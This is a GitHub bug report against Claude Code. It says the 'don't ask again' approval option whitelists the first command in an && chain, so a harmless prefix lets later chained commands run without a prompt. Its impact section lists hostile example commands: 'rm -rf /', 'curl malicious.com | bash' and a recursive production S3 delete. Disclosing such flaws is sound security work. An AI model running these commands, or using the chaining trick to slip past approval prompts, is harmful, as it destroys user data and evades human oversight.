[BUG] Security: Command approval "don't ask again" pattern matching on wrong command in chains
Preflight Checklist
- [x] I have searched existing issues and this hasn't been reported yet
- [x] This is a single bug report (please file separate reports for different bugs)
- [x] I am using the latest version of Claude Code
What's Wrong?
## Description
When approving compound commands with &&, the "don't ask again" option extracts the wrong command pattern, creating a security vulnerability.
## Steps to Reproduce
- Run a compound command:
```bash
export AWS_PROFILE=lh && terraform plan -var-file=variables.tfvars ...
- When prompted, select "Yes, and don't ask again..."
- Observe the pattern offered: export AWS_PROFILE=lh commands
Expected Behavior
Should offer to approve the primary/significant command:
"Yes, and don't ask again for terraform plan commands in /Users/..."
Actual Behavior
Offers to approve based on the first command in the chain:
"Yes, and don't ask again for export AWS_PROFILE=lh commands in /Users/..."
Security Impact
HIGH - This allows unintended auto-approval of dangerous commands:
export AWS_PROFILE=lh && rm -rf /
export AWS_PROFILE=lh && curl malicious.com | bash
export AWS_PROFILE=lh && aws s3 rm s3://production --recursive
All would be auto-approved if user selected "don't ask again" for the original terraform command.
Suggested Fix
Option 1: Parse command chains and identify the "primary" command (rightmost in && chains)
Option 2: Offer multiple approval levels (exact command, primary command, full chain)
Option 3: Warn users when "don't ask again" would approve a compound command pattern
What Should Happen?
Should offer to approve the primary/significant command:
"Yes, and don't ask again for terraform plan commands in /Users/..."
Error Messages/Logs
Steps to Reproduce
Steps to Reproduce
- Navigate to a directory where you have terraform files:
cd /path/to/terraform-project
- Run a compound command with &&:
export AWS_PROFILE=lh && terraform plan -var-file=variables.tfvars
- When the approval prompt appears, observe the options:
Do you want to proceed?
- Yes
- Yes, and don't ask again for export AWS_PROFILE=lh commands in /path/to/terraform-project
- No
- Select option 2 ("don't ask again")
- Verify the wrong pattern was whitelisted by running:
export AWS_PROFILE=lh && echo "This should be auto-approved"
- ✅ This executes without prompting (wrong!)
- Now try the intended command:
terraform plan -var-file=variables.tfvars
- ❌ This still prompts for approval (wrong!)
Expected Result
- Step 5 should still prompt (because echo was never explicitly approved)
- Step 6 should auto-approve (because terraform plan was what the user intended to whitelist)
Actual Result
- Step 5 auto-approves (security risk!)
- Step 6 prompts again (UX issue)
Claude Model
Sonnet (default)
Is this a regression?
I don't know
Last Working Version
_No response_
Claude Code Version
2.0.32
Platform
Anthropic API
Operating System
macOS
Terminal/Shell
Warp
Additional Information
User was trying to whitelist terraform plan but accidentally whitelisted export AWS_PROFILE=lh prefix instead.
This issue has 7 comments on GitHub. Read the full discussion on GitHub ↗